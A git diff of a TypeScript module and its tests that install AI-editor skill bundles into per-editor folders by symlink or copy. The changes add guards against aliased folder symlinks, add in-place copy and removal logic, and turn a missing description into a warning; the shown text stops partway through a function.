--- a/packages/server/src/skill-projection.test.ts
+++ b/packages/server/src/skill-projection.test.ts
@@ -4,6 +4,7 @@ import {
lstatSync,
mkdirSync,
mkdtempSync,
+ readFileSync,
readlinkSync,
rmSync,
symlinkSync,
@@ -11,11 +12,14 @@ import {
} from 'node:fs';
import { tmpdir } from 'node:os';
import { join } from 'node:path';
+import { parseSkillDir } from '@inkeep/open-knowledge-core/skills-catalog';
import { afterEach, beforeEach, describe, expect, test } from 'vitest';
import {
hostSkillsRootEscapes,
+ projectInPlaceSkill,
projectSkill,
readSkillBundledFiles,
+ removeInPlaceSkillCopies,
reverseProjectSkill,
skillHostDir,
validateSkillForInstall,
@@ -92,6 +96,14 @@ describe('validateSkillForInstall', () => {
expect(validateSkillForInstall(noFm, 'nofm').ok).toBe(false);
});
+ test('an empty description is a non-blocking warning, not an error (PRD-7596)', () => {
+ const dir = makeSkill('nodesc', '# x', 'name: nodesc\ndescription: ');
+ const v = validateSkillForInstall(dir, 'nodesc');
+ expect(v.ok).toBe(true);
+ expect(v.errors).toEqual([]);
+ expect(v.warnings.some((w) => w.includes('no `description`'))).toBe(true);
+ });
+
test('flags a scripts/ dir', () => {
const dir = makeSkill('with-scripts', '# x');
mkdirSync(join(dir, 'scripts'));
@@ -101,6 +113,81 @@ describe('validateSkillForInstall', () => {
});
describe('projectSkill / reverseProjectSkill', () => {
+ test('an in-place canonical already at a host destination is left intact', () => {
+ const dir = join(root, '.claude', 'skills', 'in-place');
+ mkdirSync(dir, { recursive: true });
+ writeFileSync(join(dir, 'SKILL.md'), '---\nname: in-place\ndescription: d\n---\n\n# Keep me\n');
+
+ expect(projectSkill(dir, 'in-place', root, ['claude'])).toEqual(['claude']);
+ expect(lstatSync(dir).isDirectory()).toBe(true);
+ expect(lstatSync(dir).isSymbolicLink()).toBe(false);
+ expect(readFileSync(join(dir, 'SKILL.md'), 'utf-8')).toContain('# Keep me');
+ });
+
+ // The shape that destroyed a real skill: `.claude/skills` is a FOLDER symlink
+ // to `.agents/skills`, which is where the canonical lives. Writing the claude
+ // projection resolves onto the canonical itself — the rm deletes the real
+ // bundle and the symlink replacing it points at its own path. Every later host
+ // then re-destroys it, because once the canonical is a self-link `realpathSync`
+ // throws and the per-destination `sameEntry` check can no longer see it.
+ test('never writes through a host root that ALIASES the canonical root', () => {
+ const agentsSkills = join(root, '.agents', 'skills');
+ mkdirSync(agentsSkills, { recursive: true });
+ const dir = join(agentsSkills, 'aliased');
+ mkdirSync(dir, { recursive: true });
+ writeFileSync(join(dir, 'SKILL.md'), '---\nname: aliased\ndescription: d\n---\n\n# Keep me\n');
+
+ // `.claude/skills` and `.cursor/skills` both alias the canonical root.
+ mkdirSync(join(root, '.claude'), { recursive: true });
+ mkdirSync(join(root, '.cursor'), { recursive: true });
+ symlinkSync('../.agents/skills', join(root, '.claude', 'skills'), 'dir');
+ symlinkSync('../.agents/skills', join(root, '.cursor', 'skills'), 'dir');
+
+ projectSkill(dir, 'aliased', root, ['claude', 'cursor', 'codex']);
+
+ // The canonical is still a real directory holding its real bytes.
+ expect(lstatSync(dir).isSymbolicLink()).toBe(false);
+ expect(lstatSync(dir).isDirectory()).toBe(true);
+ expect(readFileSync(join(dir, 'SKILL.md'), 'utf-8')).toContain('# Keep me');
+ // And it did not become self-referential.
+ expect(existsSync(join(dir, 'SKILL.md'))).toBe(true);
+
+ // A NON-aliased host still gets its link.
+ const codexLink = join(root, '.codex', 'skills', 'aliased');
+ expect(lstatSync(codexLink).isSymbolicLink()).toBe(true);
+ expect(readFileSync(join(codexLink, 'SKILL.md'), 'utf-8')).toContain('# Keep me');
+ });
+
+ // The shape that dangled a real skill: the canonical is itself a SYMLINK,
+ // because `source` was pointed at another location. cpSync defaults to
+ // dereference:false, so a "copy" projection would write a link to that other
+ // location — and the host then holds nothing of its own. A copy must stand
+ // alone; that is the entire difference from link mode.
+ test('copy mode materializes bytes even when the canonical is a symlink', () => {
+ const realDir = join(root, 'elsewhere', 'aliased-src');
+ mkdirSync(realDir, { recursive: true });
+ writeFileSync(
+ join(realDir, 'SKILL.md'),
+ '---\nname: aliased-src\ndescription: d\n---\n\n# Real bytes\n',
+ );
+ // The canonical path is a link to it — what `source` leaves behind.
+ const canonical = join(root, '.agents', 'skills', 'aliased-src');
+ mkdirSync(join(root, '.agents', 'skills'), { recursive: true });
+ symlinkSync(realDir, canonical, 'dir');
+
+ projectSkill(canonical, 'aliased-src', root, ['claude'], 'copy');
+
+ const dest = join(root, '.claude', 'skills', 'aliased-src');
+ // A real directory holding real bytes — NOT a link back to the source.
+ expect(lstatSync(dest).isSymbolicLink()).toBe(false);
+ expect(lstatSync(dest).isDirectory()).toBe(true);
+ expect(readFileSync(join(dest, 'SKILL.md'), 'utf-8')).toContain('# Real bytes');
+
+ // Deleting the original tree must not empty the copy.
+ rmSync(realDir, { recursive: true, force: true });
+ expect(existsSync(join(dest, 'SKILL.md'))).toBe(true);
+ });
+
test('installs a symlink into each editor host dir and reverse removes the link', () => {
const dir = makeSkill('trip-log', '# Steps');
const written = projectSkill(dir, 'trip-log', root, [
@@ -230,3 +317,83 @@ describe('hostSkillsRootEscapes', () => {
}
});
});
+
+describe('projectInPlaceSkill / removeInPlaceSkillCopies (in-place fan-out guards)', () => {
+ /** Author a real skill bundle at any root-relative dir. */
+ function makeAt(rel: string, body: string): string {
+ const dir = join(root, rel);
+ mkdirSync(dir, { recursive: true });
+ writeFileSync(
+ join(dir, 'SKILL.md'),
+ `---\nname: ${rel.split('/').pop()}\ndescription: Use when testing.\n---\n${body}`,
+ );
+ return dir;
+ }
+ const hashOf = (dir: string) => parseSkillDir(dir)?.contentHash ?? '';
+
+ test('copies into absent editors; only the canonical host itself is never written', () => {
+ const canonical = makeAt('.agents/skills/foo', '# Body');
+ const r = projectInPlaceSkill({
+ canonicalAbs: canonical,
+ canonicalHash: hashOf(canonical),
+ canonicalRootRel: '.agents/skills',
+ name: 'foo',
+ cwd: root,
+ targets: ['claude', 'codex', 'opencode'],
+ });
+ // Every checked editor gets a real copy in its own dir — the vendor
+ // capability table is deleted; writes are only skipped for the canonical
+ // host itself and for aliased roots (observable facts).
+ expect(r.conflicted).toEqual([]);
+ expect(r.hosts.sort()).toEqual(['claude', 'codex', 'opencode']);
+ expect(lstatSync(join(root, '.claude/skills/foo')).isDirectory()).toBe(true);
+ expect(lstatSync(join(root, '.claude/skills/foo')).isSymbolicLink()).toBe(false);
+ expect(lstatSync(join(root, '.codex/skills/foo')).isDirectory()).toBe(true);
+ expect(lstatSync(join(root, '.opencode/skills/foo')).isDirectory()).toBe(true);
+ });
+
+ test('NEVER clobbers a differing real dir (fork) — surfaced as conflicted', () => {
+ const canonical = makeAt('.claude/skills/foo', '# Canonical');
+ makeAt('.cursor/skills/foo', '# A DIFFERENT skill');
+ const r = projectInPlaceSkill({
+ canonicalAbs: canonical,
+ canonicalHash: hashOf(canonical),
+ canonicalRootRel: '.claude/skills',
+ name: 'foo',
+ cwd: root,
+ targets: ['cursor'],
+ });
+ expect(r.conflicted).toEqual(['cursor']);
+ expect(r.hosts).toEqual([]);
+ expect(readFileSync(join(root, '.cursor/skills/foo/SKILL.md'), 'utf-8')).toContain(
+ '# A DIFFERENT skill',
+ );
+ });
+
+ test('remove deletes only lossless occurrences; canonical + forks survive', () => {
+ const canonical = makeAt('.claude/skills/foo', '# Canonical');
+ const hash = hashOf(canonical);
+ // Same-hash copy (lossless) + a fork (must survive) + an old symlink projection.
+ const copy = makeAt('.cursor/skills/foo', '# Canonical');
+ writeFileSync(
+ join(root, '.cursor/skills/foo/SKILL.md'),
+ readFileSync(join(canonical, 'SKILL.md')),
+ );
+ const fork = makeAt('.codex/skills/foo', '# FORKED content');
+ mkdirSync(join(root, '.opencode/skills'), { recursive: true });
+ symlinkSync(canonical, join(root, '.opencode/skills/foo'), 'dir');
+
+ const removed = removeInPlaceSkillCopies({
+ canonicalAbs: canonical,
+ canonicalHash: hash,
+ name: 'foo',
+ cwd: root,
+ targets: ['claude', 'cursor', 'codex', 'opencode'],
+ });
+ expect(removed.sort()).toEqual(['cursor', 'opencode']);
+ expect(existsSync(canonical)).toBe(true); // NEVER the canonical
+ expect(existsSync(fork)).toBe(true); // NEVER a differing dir
+ expect(existsSync(copy)).toBe(false);
+ expect(existsSync(join(root, '.opencode/skills/foo'))).toBe(false);
+ });
+});
diff --git a/packages/server/src/skill-projection.ts b/packages/server/src/skill-projection.ts
index 41ac0ac4c..9e1f3512d 100644
--- a/packages/server/src/skill-projection.ts
+++ b/packages/server/src/skill-projection.ts
@@ -12,8 +12,7 @@
* editor dir crosses the home dir). Install is authoritative: any prior entry
* (stale link, broken link, or a legacy real-dir copy) is removed before the
* link is made. OK's own shipped bundle is the one copy exception
- * (`projectBundleSkill`) — it ships inside the app asar with no `.ok/skills`
- * source to link to.
+ * — it ships inside the app asar with no `.ok/skills` source to link to.
*
* Host writes go through the traced fs primitives (`fs.*` spans). Host dirs
* live OUTSIDE the content/CRDT plane and outside `.ok/` — this is a
@@ -32,12 +31,20 @@ import {
containsXmlTag,
EDITOR_PROJECT_CONFIG_PATH,
EDITOR_PROJECT_SKILL_ROOT,
+ EDITOR_USER_SKILL_ROOT,
type EditorId,
+ PACK_SKILL_PREFIX,
PROJECT_SKILL_EDITOR_IDS,
} from '@inkeep/open-knowledge-core';
+import { parseSkillDir, type SkillHostId } from '@inkeep/open-knowledge-core/skills-catalog';
import { parse as parseYaml } from 'yaml';
-import { resolveBundledSkillDir } from './build-skill-zip.ts';
-import { tracedCpSync, tracedMkdirSync, tracedRmSync, tracedSymlinkSync } from './fs-traced.ts';
+import {
+ tracedCpSync,
+ tracedMkdirSync,
+ tracedRenameSync,
+ tracedRmSync,
+ tracedSymlinkSync,
+} from './fs-traced.ts';
/**
* Narrow a persisted `string[]` host list (from the marker, whose JSON is
@@ -53,18 +60,6 @@ export function resolvedHosts(hosts: readonly string[]): EditorId[] {
/** Reserved skill-name prefix — OK's own shipped skills. */
const RESERVED_SKILL_PREFIX = 'open-knowledge';
-/**
- * Starter-pack project skills (`open-knowledge-pack-<packId>`, seeded by
- * `installPackSkill`). They sit under the reserved prefix but are OK's own
- * shipped content, so they're exempt from the reserved-name install block —
- * otherwise a pack skill couldn't be re-installed after a user uninstalls it
- * (the seed copies it in directly, but a user-triggered reinstall re-validates).
- */
-export const PACK_SKILL_PREFIX = 'open-knowledge-pack-';
-
-/** OK's shipped project-skill bundle name (lives at `.{host}/skills/open-knowledge/`). */
-const SHIPPED_SKILL_NAME = 'open-knowledge';
-
// Intentionally NOT core's `stripFrontmatter` (used by skill-reconcile): this is
// a validity GATE, not a comparison parse. It requires a leading `---` block and
// rejects fenced frontmatter — core's fence-tolerant strip would widen what
@@ -90,6 +85,14 @@ function parseFrontmatter(raw: string): Record<string, unknown> | null {
export interface SkillValidity {
ok: boolean;
errors: string[];
+ /**
+ * Non-blocking advisories — the skill still installs. An empty `description`
+ * lands here (not `errors`): a missing description makes the skill less useful
+ * to agents, but hard-blocking install on it meant an already-installed skill
+ * red-errored on every install click with no way forward. Surfaced
+ * as a `no-description` warning instead.
+ */
+ warnings: string[];
/** True when the skill ships a `scripts/` dir (projected but flagged). */
hasScripts: boolean;
}
@@ -107,6 +110,7 @@ export function validateSkillForInstall(
opts?: { allowReservedName?: boolean },
): SkillValidity {
const errors: string[] = [];
+ const warnings: string[] = [];
const skillMd = join(skillDir, 'SKILL.md');
const hasScripts =
existsSync(join(skillDir, 'scripts')) && statSync(join(skillDir, 'scripts')).isDirectory();
@@ -120,14 +124,14 @@ export function validateSkillForInstall(
}
if (!existsSync(skillMd)) {
errors.push(`No SKILL.md found at ${skillDir}.`);
- return { ok: errors.length === 0, errors, hasScripts };
+ return { ok: errors.length === 0, errors, warnings, hasScripts };
}
let raw: string;
try {
raw = readFileSync(skillMd, 'utf-8');
} catch (e) {
errors.push(`Cannot read SKILL.md: ${(e as Error).message}.`);
- return { ok: false, errors, hasScripts };
+ return { ok: false, errors, warnings, hasScripts };
}
if (CONFLICT_MARKER_RES.some((re) => re.test(raw))) {
errors.push(
@@ -148,7 +152,10 @@ export function validateSkillForInstall(
);
}
if (typeof fmDesc !== 'string' || fmDesc.length === 0) {
- errors.push('SKILL.md frontmatter.description is missing or empty.');
+ // Non-blocking: a description-less skill still installs. Hard-
+ // blocking here made an already-installed skill red-error on every install
+ // click. The nudge to add one is surfaced as a `no-description` warning.
+ warnings.push('This skill has no `description`. Add one so agents know when to use it.');
}
if (
(typeof fmName === 'string' && containsXmlTag(fmName)) ||
@@ -159,7 +166,7 @@ export function validateSkillForInstall(
);
}
}
- return { ok: errors.length === 0, errors, hasScripts };
+ return { ok: errors.length === 0, errors, warnings, hasScripts };
}
/**
@@ -188,20 +195,50 @@ export function resolveSkillTargets(cwd: string, explicit?: readonly string[]):
return detectProjectConfiguredTargets(cwd);
}
+/**
+ * The editor → skills-root map for a projection SCOPE. Project scope uses each
+ * editor's project root (`.github/skills` for Copilot); global scope uses the
+ * USER root (`.copilot/skills`). The two diverge ONLY for Copilot and pi — every
+ * other editor's project and user roots are the same relative path — so a global
+ * projection MUST pass the user map or Copilot/pi land in the wrong home dir and
+ * silently drop. Inert for all other editors.
+ */
+export type SkillProjectionRoots = Record<EditorId, string | null>;
+export function skillProjectionRoots(scope: 'project' | 'global'): SkillProjectionRoots {
+ return scope === 'global' ? EDITOR_USER_SKILL_ROOT : EDITOR_PROJECT_SKILL_ROOT;
+}
+
/**
* Absolute host skills dir for a skill name + editor, or `null` when the
- * editor has no project skill surface (e.g. Claude Desktop).
+ * editor has no skill surface (e.g. Claude Desktop). `roots` selects the
+ * project-vs-user root map (defaults to project; pass the user map for global).
*/
-export function skillHostDir(cwd: string, editor: EditorId, name: string): string | null {
- const root = EDITOR_PROJECT_SKILL_ROOT[editor];
+export function skillHostDir(
+ cwd: string,
+ editor: EditorId,
+ name: string,
+ roots: SkillProjectionRoots = EDITOR_PROJECT_SKILL_ROOT,
+): string | null {
+ const root = roots[editor];
return root === null ? null : resolve(cwd, root, name);
}
+/** Host-dir resolution for install targets INCLUDING the `.agents` hub. */
+function skillTargetDir(
+ cwd: string,
+ target: SkillHostId,
+ name: string,
+ roots: SkillProjectionRoots = EDITOR_PROJECT_SKILL_ROOT,
+): string | null {
+ if (target === 'agents') return resolve(cwd, '.agents/skills', name);
+ return skillHostDir(cwd, target, name, roots);
+}
+
/**
* True when an editor's host skills root (`<cwd>/.claude/skills` etc.) EXISTS and
* is a symlink resolving OUTSIDE the project — a write through it would escape the
* project tree. A not-yet-created root is fine (it's created inside `cwd`). Shared
- * by `projectSkill`/`projectBundleSkill` and the seed (`installPackSkill`) so every
+ * by `projectSkill` and the seed (`installPackSkill`) so every
* projection write applies the same symlink-escape refusal.
*/
export function hostSkillsRootEscapes(cwd: string, hostRoot: string): boolean {
@@ -216,6 +253,29 @@ export function hostSkillsRootEscapes(cwd: string, hostRoot: string): boolean {
}
}
+/**
+ * Whether a host skills root is the SAME directory as the canonical's own root,
+ * reached through a folder-level alias (`.claude/skills -> ../.agents/skills`).
+ *
+ * Sibling of `hostSkillsRootEscapes`: that one refuses roots pointing OUT of the
+ * project, this one refuses roots pointing back IN at the canonical. Both compare
+ * roots only — never the per-skill destination — so a bundle already broken by a
+ * previous bad write cannot hide the collision by making `realpathSync` throw.
+ *
+ * A root that does not resolve is not an alias; the caller's own guards handle it.
+ *
+ * Module-private: `projectSkill` is the only write path that needs it, and the
+ * behaviour is covered through that entry point rather than directly.
+ */
+function isAliasOfCanonicalRoot(hostRoot: string, canonicalRoot: string): boolean {
+ if (!existsSync(hostRoot) || !existsSync(canonicalRoot)) return false;
+ try {
+ return realpathSync(hostRoot) === realpathSync(canonicalRoot);
+ } catch {
+ return false;
+ }
+}
+
/**
* The link target stored at an editor host dir for a skill source. Relative
* (portable — travels with a committed `.ok/skills`) when the source is inside
@@ -229,32 +289,409 @@ function skillLinkTarget(cwd: string, hostRoot: string, skillDir: string): strin
}
/**
- * Install a skill source dir into each target editor's host dir by SYMLINK.
- * Removes any existing entry first (authoritative replace — a stale/broken
- * link or a legacy real-dir copy is dropped before the link is made). Returns
- * the editor ids actually written (skipping editors with no skill surface).
+ * Install a skill source dir into each target editor's host dir.
+ *
+ * `mode` selects how: `symlink` (default) links back to the skill's single
+ * source folder — right for locally-authored skills, whose source lives in the
+ * project alongside the link. `copy` writes a verbatim recursive copy — right
+ * for anything a whole team will clone: seeded starter packs and
+ * acquired/imported skills, which must survive Windows (where a committed
+ * symlink needs `core.symlinks`) and CI, and — for a global-scope source —
+ * a machine that has no such source at all. The rm-first authoritative-replace + the symlink-escape guard apply
+ * identically to both. Returns the editor ids actually written.
*/
export function projectSkill(
skillDir: string,
name: string,
cwd: string,
targets: readonly EditorId[],
+ mode: 'symlink' | 'copy' = 'symlink',
+ roots: SkillProjectionRoots = EDITOR_PROJECT_SKILL_ROOT,
): EditorId[] {
const written: EditorId[] = [];
for (const editor of targets) {
- const dest = skillHostDir(cwd, editor, name);
+ const dest = skillHostDir(cwd, editor, name, roots);
if (dest === null) continue;
const hostRoot = dirname(dest);
// Refuse to write through a host root that symlink-escapes the project.
if (hostSkillsRootEscapes(cwd, hostRoot)) continue;
+ // Refuse to write through a host root that ALIASES the canonical's own root
+ // (`.claude/skills -> ../.agents/skills`). Writing there resolves onto the
+ // canonical itself: the rm below deletes the real bundle and the symlink
+ // that replaces it points at its own path, so the skill is destroyed and
+ // every later host then re-destroys it (once the canonical is a self-link,
+ // `realpathSync` throws and the `sameEntry` check below can no longer see
+ // the collision). Compared on the ROOTS, never on `dest`, so it still holds
+ // after such a cycle exists on disk.
+ if (isAliasOfCanonicalRoot(hostRoot, dirname(skillDir))) {
+ // Present by construction — the host reads the canonical directly. Report
+ // it as projected (same as the `sameEntry` case below); dropping it would
+ // understate the host set and strand the marker.
+ written.push(editor);
+ continue;
+ }
+ // An in-place skill may already live at the requested host destination.
+ // Treat that host as projected without replacing the canonical directory
+ // with a copy/symlink to itself.
+ let sameEntry = resolve(dest) === resolve(skillDir);
+ if (!sameEntry && existsSync(dest)) {
+ try {
+ sameEntry = realpathSync(dest) === realpathSync(skillDir);
+ } catch {
+ sameEntry = false;
+ }
+ }
+ if (sameEntry) {
+ written.push(editor);
+ continue;
+ }
tracedRmSync(dest, { recursive: true, force: true });
tracedMkdirSync(hostRoot, { recursive: true });
- tracedSymlinkSync(skillLinkTarget(cwd, hostRoot, skillDir), dest, 'dir');
+ if (mode === 'copy') {
+ // A copy must stand alone — that is the whole difference from `link` mode.
+ // Without `dereference` a canonical that is itself a symlink (the `source`
+ // verb points it elsewhere) would be projected as a link, so the host
+ // silently tracks the source instead of holding its own bytes.
+ tracedCpSync(skillDir, dest, { recursive: true, dereference: true });
+ } else {
+ tracedSymlinkSync(skillLinkTarget(cwd, hostRoot, skillDir), dest, 'dir');
+ }
written.push(editor);
}
return written;
}
+/** What occupies a host dest for an in-place fan-out decision. `canonical-dir`
+ * is the canonical bundle ITSELF (never touched); `link-to-canonical` is a live
+ * symlink resolving to it (kept on install, removable on uninstall). */
+export function classifyInPlaceDest(
+ dest: string,
+ canonicalAbs: string,
+ canonicalHash: string,
+): 'absent' | 'canonical-dir' | 'link-to-canonical' | 'link' | 'same-copy' | 'different' {
+ let st: ReturnType<typeof lstatSync>;
+ try {
+ st = lstatSync(dest);
+ } catch {
+ return 'absent';
+ }
+ if (st.isSymbolicLink()) {
+ try {
+ if (realpathSync(dest) === realpathSync(canonicalAbs)) return 'link-to-canonical';
+ } catch {
+ // dangling — plain removable link
+ }
+ return 'link';
+ }
+ if (!st.isDirectory()) return 'different'; // stray file — never touch
+ try {
+ if (realpathSync(dest) === realpathSync(canonicalAbs)) return 'canonical-dir';
+ } catch {
+ return 'different';
+ }
+ return parseSkillDir(dest)?.contentHash === canonicalHash ? 'same-copy' : 'different';
+}
+
+/**
+ * Fan-out for an IN-PLACE skill: copy the
+ * canonical native bundle into each target editor's host dir. Safety rules:
+ * - NEVER clobbers a DIFFERENT real dir (a fork / user content) — reported in
+ * `conflicted`, untouched.
+ * - The canonical itself and same-hash copies count as already-installed.
+ * - A symlink dest (an old store projection, possibly dangling) is replaced
+ * with a copy.
+ * - An editor whose own root IS the canonical's root is already covered —
+ * nothing is written for it. Aliased roots (folder symlinks) are never
+ * write targets: writes never go through an alias.
+ */
+export function projectInPlaceSkill(opts: {
+ canonicalAbs: string;
+ canonicalHash: string;
+ /** cwd-relative skills ROOT holding the canonical (e.g. `.agents/skills`). */
+ canonicalRootRel: string;
+ name: string;
+ cwd: string;
+ targets: readonly SkillHostId[];
+ /** `link` = create symlinks to the canonical instead of copies (per-skill
+ * preference); a lossless same-hash COPY is converted to a link, and vice
+ * versa in copy mode. Default `copy`. */
+ mode?: 'copy' | 'link';
+ /** With copy mode: ALSO convert existing links-to-canonical into copies —
+ * only for an EXPLICIT user copy choice (lossless; links otherwise kept). */
+ convertLinks?: boolean;
+ /** Project-vs-user root map; defaults to project roots. */
+ roots?: SkillProjectionRoots;
+}): { hosts: SkillHostId[]; conflicted: SkillHostId[] } {
+ const { canonicalAbs, canonicalHash, canonicalRootRel, name, cwd, targets } = opts;
+ const roots = opts.roots ?? EDITOR_PROJECT_SKILL_ROOT;
+ const mode = opts.mode ?? 'copy';
+ const hosts: SkillHostId[] = [];
+ const conflicted: SkillHostId[] = [];
+ const materialize = (dest: string, hostRoot: string): void => {
+ tracedRmSync(dest, { recursive: true, force: true });
+ tracedMkdirSync(hostRoot, { recursive: true });
+ if (mode === 'link') {
+ tracedSymlinkSync(skillLinkTarget(cwd, hostRoot, canonicalAbs), dest, 'dir');
+ } else {
+ // `canonicalAbs` is a symlink whenever `source` points the skill at another
+ // location, and cpSync's default would copy that link — so the "copy" host
+ // would silently track the source instead of holding its own bytes.
+ tracedCpSync(canonicalAbs, dest, { recursive: true, dereference: true });
+ }
+ };
+ for (const editor of targets) {
+ if (
+ editor === 'agents'
+ ? canonicalRootRel === '.agents/skills'
+ : roots[editor] === canonicalRootRel
+ ) {
+ // This host's own dir IS the canonical root — never CREATE a copy here.
+ // But an EXISTING lossless occurrence in the editor's own dir must still
+ // follow an explicit mode flip: a leftover same-hash copy in link mode
+ // (or link in explicit copy mode) is stale, double-loads, and contradicts
+ // the skill-wide mode the menu shows.
+ const own = skillTargetDir(cwd, editor, name, roots);
+ if (own !== null && !hostSkillsRootEscapes(cwd, dirname(own))) {
+ const cls = classifyInPlaceDest(own, canonicalAbs, canonicalHash);
+ if (
+ (mode === 'link' && cls === 'same-copy') ||
+ (mode === 'copy' && opts.convertLinks === true && cls === 'link-to-canonical')
+ ) {
+ materialize(own, dirname(own));
+ }
+ }
+ hosts.push(editor);
+ continue;
+ }
+ const dest = skillTargetDir(cwd, editor, name, roots);
+ if (dest === null) continue;
+ const hostRoot = dirname(dest);
+ if (hostSkillsRootEscapes(cwd, hostRoot)) continue;
+ // Writes never go through an alias: a host root that physically resolves
+ // somewhere else (the folder or a parent is a symlink) is a derived view
+ // of that other location, never a write target — materializing an absent
+ // dest here would land the bytes in the aliased-to root. Skipped, and NOT
+ // counted as a host: `hosts` = physical locations only (an alias-covered
+ // editor is an audience icon, never an installed-location count).
+ try {
+ const rootReal = realpathSync(hostRoot);
+ if (rootReal !== join(realpathSync(cwd), relative(cwd, hostRoot))) continue;
+ } catch {
+ // hostRoot absent — a real, creatable location
+ }
+ switch (classifyInPlaceDest(dest, canonicalAbs, canonicalHash)) {
+ case 'canonical-dir':
+ hosts.push(editor);
+ break;
+ case 'link-to-canonical':
+ // A live link is already the freshest projection AND may be
+ // user-authored — kept, unless the user EXPLICITLY chose copies
+ // (unsymlink), which is a lossless conversion.
+ if (mode === 'copy' && opts.convertLinks === true) materialize(dest, hostRoot);
+ hosts.push(editor);
+ break;
+ case 'same-copy':
+ // Lossless conversion when the preference is link; already right in copy mode.
+ if (mode === 'link') materialize(dest, hostRoot);
+ hosts.push(editor);
+ break;
+ case 'different':
+ conflicted.push(editor);
+ break;
+ case 'link':
+ case 'absent':
+ materialize(dest, hostRoot);
+ hosts.push(editor);
+ break;
+ }
+ }
+ return { hosts, conflicted };
+}
+
+/**
+ * Move an in-place skill's SOURCE (canonical) to another host dir — the
+ * user-directed "untoggle the source" action. The new target must be usable:
+ * absent (the bundle MOVES there), a live link or same-hash copy (it becomes
+ * the real dir), never a DIFFERENT bundle. Afterwards every sibling symlink
+ * that pointed at the old source is re-pointed at the new one, so nothing
+ * dangles. Identity note: the tracked path (docName) re-roots — an accepted
+ * trade-off, here as an explicit user choice.
+ */
+export function relocateInPlaceCanonical(opts: {
+ canonicalAbs: string;
+ canonicalHash: string;
+ name: string;
+ cwd: string;
+ newTarget: SkillHostId;
+ /** Custom-root destination bundle dir (absolute) — overrides the host-dir
+ * mapping when the new source lives at a custom path (e.g. `.ok/skills`). */
+ destDirAbs?: string;
+ /** Leave a SYMLINK→dest at the old source path (the promote/downgrade swap:
+ * the clicked location becomes the real folder, the old one a link).
+ * Uncheck-driven relocation passes false — unchecking means REMOVE. */
+ leaveLinkBehind?: boolean;
+ /** Project-vs-user root map; defaults to project roots. */
+ roots?: SkillProjectionRoots;
+}): { ok: true; newAbs: string } | { ok: false; reason: 'target-unusable' | 'target-missing' } {
+ const { canonicalHash, name, cwd, newTarget } = opts;
+ const roots = opts.roots ?? EDITOR_PROJECT_SKILL_ROOT;
+ // THE GUARD (the whole reason this survived a rewrite): this primitive moves
+ // a skill's LAST REAL DIRECTORY, so it must be handed one. If the caller's
+ // "canonical" path is a symlink (mis-election, races), operate on the REAL
+ // directory it resolves to — renaming the link file instead of the folder is
+ // exactly how a skill's bytes got orphaned into a self-link loop.
+ let canonicalAbs: string;
+ try {
+ canonicalAbs = realpathSync(opts.canonicalAbs);
+ } catch {
+ return { ok: false, reason: 'target-unusable' }; // dangling — nothing real to move
+ }
+ try {
+ if (lstatSync(canonicalAbs).isSymbolicLink() || !lstatSync(canonicalAbs).isDirectory()) {
+ return { ok: false, reason: 'target-unusable' };
+ }
+ } catch {
+ return { ok: false, reason: 'target-unusable' };
+ }
+ const dest = opts.destDirAbs ?? skillTargetDir(cwd, newTarget, name, roots);
+ if (dest === null) return { ok: false, reason: 'target-missing' };
+ if (resolve(dest) === canonicalAbs) return { ok: true, newAbs: dest }; // already the source
+ const hostRoot = dirname(dest);
+ if (hostSkillsRootEscapes(cwd, hostRoot)) return { ok: false, reason: 'target-unusable' };
+ switch (classifyInPlaceDest(dest, canonicalAbs, canonicalHash)) {
+ case 'canonical-dir':
+ return { ok: true, newAbs: dest }; // already the source
+ case 'different':
+ return { ok: false, reason: 'target-unusable' };
+ case 'same-copy':
+ // The copy IS the bundle (byte-identical real dir) — it becomes the
+ // source. Only NOW is removing the old dir lossless; verify dest is a
+ // real dir one more time before the delete (paranoia is the point).
+ try {
+ if (lstatSync(dest).isSymbolicLink() || !existsSync(join(dest, 'SKILL.md'))) {
+ return { ok: false, reason: 'target-unusable' };
+ }
+ } catch {
+ return { ok: false, reason: 'target-unusable' };
+ }
+ tracedRmSync(canonicalAbs, { recursive: true, force: true });
+ break;
+ case 'link':
+ case 'link-to-canonical':
+ tracedRmSync(dest, { recursive: true, force: true });
+ tracedMkdirSync(hostRoot, { recursive: true });
+ tracedRenameSync(canonicalAbs, dest);
+ break;
+ case 'absent':
+ tracedMkdirSync(hostRoot, { recursive: true });
+ tracedRenameSync(canonicalAbs, dest);
+ break;
+ }
+ // POST-CONDITION: the destination must now be a real directory holding the
+ // bundle. If it isn't, something raced us — fail loudly rather than continue
+ // wiring links to a phantom.
+ if (!existsSync(join(dest, 'SKILL.md')) || lstatSync(dest).isSymbolicLink()) {
+ return { ok: false, reason: 'target-unusable' };
+ }
+ // The promote/downgrade swap: old source path becomes a link to the new one.
+ if (opts.leaveLinkBehind === true && !existsSync(canonicalAbs)) {
+ tracedSymlinkSync(skillLinkTarget(cwd, dirname(canonicalAbs), dest), canonicalAbs, 'dir');
+ }
+ // Re-point sibling links that referenced the old source (now gone/dangling).
+ for (const host of ALL_TARGET_HOSTS) {
+ const sib = skillTargetDir(cwd, host, name, roots);
+ if (sib === null || resolve(sib) === resolve(dest) || resolve(sib) === canonicalAbs) continue;
+ try {
+ if (!lstatSync(sib).isSymbolicLink()) continue;
+ } catch {
+ continue;
+ }
+ let resolved: string | null = null;
+ try {
+ resolved = realpathSync(sib);
+ } catch {
+ resolved = null; // dangling — re-point it
+ }
+ // Re-point when: dangling, pointed at the old source, or resolves to the
+ // new dest THROUGH another link (chain) — links always point DIRECTLY at
+ // the real dir, so removing any one link can never strand another.
+ if (resolved === null || resolved === canonicalAbs || resolved === resolve(dest)) {
+ tracedRmSync(sib, { recursive: true, force: true });
+ tracedSymlinkSync(skillLinkTarget(cwd, dirname(sib), dest), sib, 'dir');
+ }
+ }
+ return { ok: true, newAbs: dest };
+}
+
+/** Every install-target host (editors with a project dir + the .agents hub). */
+const ALL_TARGET_HOSTS: readonly SkillHostId[] = [
+ 'agents',
+ ...(PROJECT_SKILL_EDITOR_IDS as readonly EditorId[]),
+];
+
+/**
+ * Uninstall counterpart of {@link projectInPlaceSkill}: remove a target editor's
+ * occurrence ONLY when doing so loses nothing — a symlink, or a real dir
+ * byte-identical (same bundle hash) to the canonical. The canonical itself and
+ * any DIFFERENT real dir (fork / user content) are never removed.
+ */
+export function removeInPlaceSkillCopies(opts: {
+ canonicalAbs: string;
+ canonicalHash: string;
+ name: string;
+ cwd: string;
+ targets: readonly SkillHostId[];
+ /** Project-vs-user root map; defaults to project roots. */
+ roots?: SkillProjectionRoots;
+}): SkillHostId[] {
+ const { canonicalHash, name, cwd, targets } = opts;
